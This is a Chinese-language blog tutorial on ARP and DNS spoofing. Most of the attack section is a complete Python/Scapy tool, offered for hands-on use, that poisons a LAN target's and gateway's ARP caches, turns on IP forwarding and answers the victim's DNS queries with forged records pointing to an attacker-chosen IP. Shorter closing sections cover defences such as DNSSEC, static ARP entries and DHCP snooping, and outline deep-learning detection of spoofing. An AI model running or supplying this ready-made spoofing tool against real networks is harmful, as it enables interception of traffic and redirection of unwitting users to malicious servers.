DNS欺骗攻击技术详解及实战代码解析
DNS(Domain Name System)欺骗是常见的网络攻击手段。本文详细解析如何利用Scapy库实现ARP欺骗与DNS欺骗,并进行实际操作。
简介
ARP(Address Resolution Protocol)欺骗和DNS(Domain Name System)欺骗是两种常见的网络攻击手段。本文将通过一段Python代码,详细解析如何利用Scapy库实现ARP欺骗与DNS欺骗,并进行实际操作。
实现原理
DNS欺骗(DNS Spoofing 或 DNS Poisoning)是一种网络安全攻击手段,它通过干扰正常的DNS解析过程,将域名指向错误的IP地址。这种攻击使得用户在访问一个合法网站时实际上被重定向到了恶意服务器上,从而可能导致个人信息泄露、恶意软件感染或欺诈行为的发生。
实现原理:
1. ARP欺骗:
- 在局域网环境下,攻击者首先利用ARP协议进行ARP欺骗,让目标主机误以为攻击者的IP地址是默认网关或其他权威DNS服务器的IP地址。
- 一旦目标主机将数据包发送给“伪装”的DNS服务器(即攻击者),攻击者就可以截获和篡改DNS查询响应。
2. 伪造DNS响应:
- 当受害主机发起DNS查询请求时,攻击者会截取该请求,并迅速回应一个伪造的DNS应答,其中包含了攻击者希望受害者连接到的恶意IP地址。
- 由于DNS查询ID字段可以被猜测或通过嗅探获取,攻击者构造的应答中会包含与原查询ID相同的值,以确保其能被接受为有效的响应。
3. 利用DNS缓存污染:
- 受害主机接收到这个伪造的DNS记录后,会将其保存在本地的DNS缓存中,这样后续对该域名的所有请求都会使用缓存中的错误IP地址,直到缓存失效。
4. 漏洞利用:
- 部分情况下,攻击者还可以利用DNS服务器软件的漏洞直接修改DNS记录,或者利用中间人(Man-in-the-Middle, MITM)攻击来篡改网络通信内容。
总的来说,DNS欺骗的关键在于破坏正常的数据流,通过欺骗性的DNS响应来改变流量的目的地,从而使用户与预期之外的服务建立连接。为了防御这类攻击,通常建议使用安全的DNS配置、启用DNSSEC(DNS Security Extensions)、使用HTTPS等加密协议以及保持系统和软件的安全更新。
运行步骤
- 用户通过命令行参数指定待攻击的目标IP、网关IP、监听网卡以及是否启用DNS欺骗及欺骗指向的IP。
- 程序首先检查权限并确保运行于管理员模式下,随后开启系统的IP转发功能。
- 根据用户选择,分别启动ARP欺骗线程(op函数)和可能的DNS欺骗线程(wifi函数)。
- 在接收到中断信号时,调用quit_fun函数结束所有线程并退出程序。
实现代码
关键函数:
- **quit_fun:**用于接收系统中断信号并安全退出程序。
- DNS_Spoof:核心DNS欺骗函数,当捕获到目标设备发送的DNS请求时,修改应答数据指向黑客指定的IP地址(由全局变量jokers设定),从而达到欺骗目的。
- DNS_S:启动DNS监听并执行DNS欺骗功能,参数为欺骗的目标IP地址和监听网卡接口名。
- op:ARP欺骗函数,向目标设备发送伪造的ARP响应包,使目标设备误认为黑客设备是其默认网关或目标主机,以截断或重定向网络流量。
- wifi:综合执行ARP欺骗与DNS欺骗,根据用户输入的参数决定是否同时启用DNS欺骗,并启动相应的线程。
- main:主函数,处理命令行参数,设置必要的系统环境(如开启IP转发),然后启动ARP欺骗与DNS欺骗线程。
# _*_coding:utf-8_*_
import sys
import os
import threading
import signal
from scapy.all import *
from optparse import OptionParser
def quit_fun(i, j):
print("\n[+]执行完毕!\n")
sys.exit()
# DNS欺骗函数
def DNS_Spoof(data):
if data.haslayer(DNS):
try:
# 构造DNS AN数据
dns_an = DNSRR(rrname=data[DNS].qd.qname, rdata=jokers)
# 构造IP/UDP数据包
repdata = IP(src=data[IP].dst, dst=data[IP].src) / UDP(dport=data[IP].sport, sport=53)
# 构造DNS数据包
repdata /= DNS(id=data[DNS].id, qd=data[DNS].qd, qr=1, an=dns_an)
# 攻击信息输出
print('\nhancker ip :' + jokers + " url : " + data[DNS].qd.qname)
# 发送数据包
send(repdata)
except Exception as e:
print('dns spoof error :' + e.message)
sys.exit(1)
# DNS欺骗函数
def DNS_S(dns_ip, iface):
global jokers
jokers = dns_ip
print("DNS欺骗开始!")
sniff(prn=DNS_Spoof, filter='udp dst port 53', iface=iface)
# ARP欺骗函数
def op(eths, mubiao_ip, Ps, gateway_ip):
ip = mubiao_ip
wifi = gateway_ip
# 目标设备MAC地址
dst_Mac = str(getmacbyip(ip))
# 黑客设备mac地址
self_Mac = str(get_if_hwaddr(eths))
# 网关MAC地址
wifi_Mac = str(getmacbyip(wifi))
# 构造以太帧数据
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=wifi, hwdst=dst_Mac, pdst=ip)
try:
# 发送以太帧数据,sendp发送OSI模型中的二层数据
sendp(Ether_data, inter=2, iface=eths, loop=1)
except Exception as e:
print("目标ARP数据发送失败!")
def wifi(eths, mubiao_ip, gateway_ip, Ps, dns_ip):
ip = gateway_ip
dst = mubiao_ip
et = eths
# 根据IP获取MAC
dst_Mac = getmacbyip(ip)
# 根据网卡获取MAC
self_Mac = get_if_hwaddr(et)
Ether_data = None
if Ps == "1":
# 构造以太帧数据与ARP响应数据,ARP协议源地址给一个不存在的MAC地址与正确的IP地址对应,实现双向的无法解析,ARP协议的op参数是状态,2为响应数据,1为请求数据
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac,
pdst=ip)
# 新线程,开始DNS欺骗
t3 = threading.Thread(target=DNS_S, args=(dns_ip, eths))
t3.setDaemon(True)
t3.start()
if Ps == "0":
# 构造以太帧数据与ARP响应数据,这里因为不需要DNS欺骗,所以不需要一个假的MAC地址,让双方通信设备正常访问即可
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip)
if Ps != "1" and Ps != "0":
print(Ps)
print(type(Ps))
print('-P 参数有误!')
sys.exit(1)
try:
sendp(Ether_data, inter=2, iface=et, loop=1)
except Exception as e:
print("网关ARP数据发送失败!")
def main():
signal.signal(signal.SIGINT, quit_fun)
signal.signal(signal.SIGTERM, quit_fun)
opx = OptionParser('Usage %prog[-i interface][-s adIP][-d GIP]')
# 网卡
opx.add_option('-i', dest='interface', help='NIC name')
# 目标IP
opx.add_option('-t', dest='adIP', help='Target device IP')
# 网关IP
opx.add_option('-g', dest='GIP', help='Gateway IP')
# 是否打开DNS欺骗,0关闭只使用ARP欺骗,1打开启动ARP欺骗的同时启用DNS欺骗
opx.add_option('-p', dest='DNS', help='Whether to open DNS spoofing (0 OFF, 1 ON)', default='1')
# 用于DNS欺骗的IP
opx.add_option('-d', dest='DNSip', help='DNS Spoof IP')
(options, args) = opx.parse_args()
if options.interface is None or options.adIP is None or options.GIP is None:
opx.print_help()
sys.exit(0)
if options.DNS == "1" and options.DNSip == None:
print("你选择的DNS欺骗选项就必须填写伪造DNS IP!")
opx.print_help()
sys.exit(0)
else:
try:
if os.geteuid() != 0:
print("[-]请使用管理员权限打开!")
sys.exit(1)
else:
tail_0 = os.popen("sysctl -w net.ipv4.ip_forward=1")
print("ip转发设置:" + tail_0.read())
eth = options.interface
mubiao = options.adIP
gateway = options.GIP
P = options.DNS
dip = options.DNSip
print('开始攻击')
t1 = threading.Thread(target=op, args=(eth, mubiao, P, gateway))
t1.setDaemon(True)
t1.start()
t2 = threading.Thread(target=wifi, args=(eth, mubiao, gateway, P, dip))
t2.setDaemon(True)
t2.start()
except Exception as e:
print(e)
sys.exit(1)
while True:
pass
if __name__ == '__main__':
main()
DNS欺骗防御措施
防御DNS欺骗可以从以下几个方面入手:
1. 使用安全的DNS解析服务:
- 选择信誉良好的、支持DNSSEC(DNS Security Extensions)的安全DNS服务器。DNSSEC能够通过数字签名验证DNS记录的真实性,从而防止数据篡改。
2. 更新DNS软件:
- 使用最新的DNS服务器软件,并保持及时更新以修复已知的安全漏洞,减少被攻击的风险。
3. 关闭DNS服务器递归功能:
- 在非必需的情况下,关闭DNS服务器对外部查询的递归响应,仅允许权威查询。这样可以降低攻击者利用DNS服务器进行迭代查询来实施欺骗的可能性。
4. 启用DNS缓存污染防护机制:
- 设置合理的DNS缓存刷新时间,并对DNS缓存有严格的管理与检查机制,避免恶意响应在缓存中长期有效。
5. 网络分段和防火墙策略:
- 对内部网络进行逻辑隔离和访问控制,确保内部设备不会受到来自外部或受感染内部主机的DNS欺骗攻击。
6. 配置静态ARP表项:
- 在局域网内,对于关键设备如DNS服务器、路由器等,可以设置静态ARP映射,以防止ARP欺骗导致的DNS请求重定向。
7. 使用DHCP Snooping和IP源防护技术:
- DHCP Snooping能阻止未授权的DHCP服务器提供地址信息,而IP Source Guard则可防止非法来源的IP流量。
8. 用户教育和双重验证:
- 提高用户的安全意识,教育他们识别可能的钓鱼网站,同时鼓励对重要服务采用HTTPS或其他加密协议,因为即使DNS被欺骗,SSL/TLS证书也会帮助检测到连接的目标并非预期的合法站点。
9. 启用双因素认证或多因素认证:
- 对于敏感系统和服务,除了URL验证外,还可以增加其他形式的身份验证手段,进一步增强安全性。
通过以上多层面的防护措施,可以显著降低DNS欺骗带来的风险。同时,持续监测网络流量,及时发现并响应异常行为也是保障网络安全的重要环节。
如何使用DL检测DNS欺骗攻击
深度学习应用于DNS欺骗检测通常涉及异常检测或模式识别技术,可以通过以下步骤构建一个检测系统:
1. 数据采集与预处理:
- 收集大量的正常和包含DNS欺骗行为的网络流量数据,这些数据可能包括DNS查询、响应包内容、时间戳、源IP地址、目标IP地址等信息。
- 对数据进行预处理,如清洗、格式化和特征提取,将原始数据转换为可用于机器学习模型的特征向量。
2. 特征工程:
- 从DNS流量中选择或构建有助于区分正常行为和欺骗行为的特征。这可能包括但不限于:域名一致性检查、响应时间和TTL值分析、IP地址变化规律、请求与应答间的一致性(例如ID字段是否匹配)等。
3. 模型构建:
- 使用深度学习模型(如卷积神经网络CNN、循环神经网络RNN或变种LSTM、GRU等)对特征向量进行训练,以区分正常流量和可疑/恶意流量。
模型可以设计成分类器,将流量分为“正常”或“欺骗”,也可以设计成自回归模型预测流量序列中的异常点。
4. 对抗样本生成与增强学习:
- 为了提高模型的泛化能力和鲁棒性,可以采用对抗性学习的方法生成模拟攻击者可能使用的欺骗策略的数据样本,从而训练模型识别出更复杂的欺骗手法。
5. 训练与验证:
- 划分数据集为训练集和测试集,用训练集训练模型,然后在测试集上验证模型性能,调整模型参数以优化检测准确率和召回率。
6. 实时监控与告警:
- 将训练好的模型部署到实际环境中,实时分析网络中的DNS流量,并在检测到潜在的欺骗行为时触发告警或采取相应的防御措施。
需要注意的是,尽管深度学习在图像识别和自然语言处理等领域表现出了强大的能力,但在网络安全领域尤其是DNS欺骗检测中,传统的统计方法和启发式规则结合机器学习往往也能达到很好的效果。因此,在实践中,可能会结合多种方法来设计一套全面且高效的检测机制。同时,由于DNS协议本身的设计特性以及欺骗场景的复杂多样性,深度学习的应用需要充分考虑实际情况并结合其他安全手段共同作用。
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)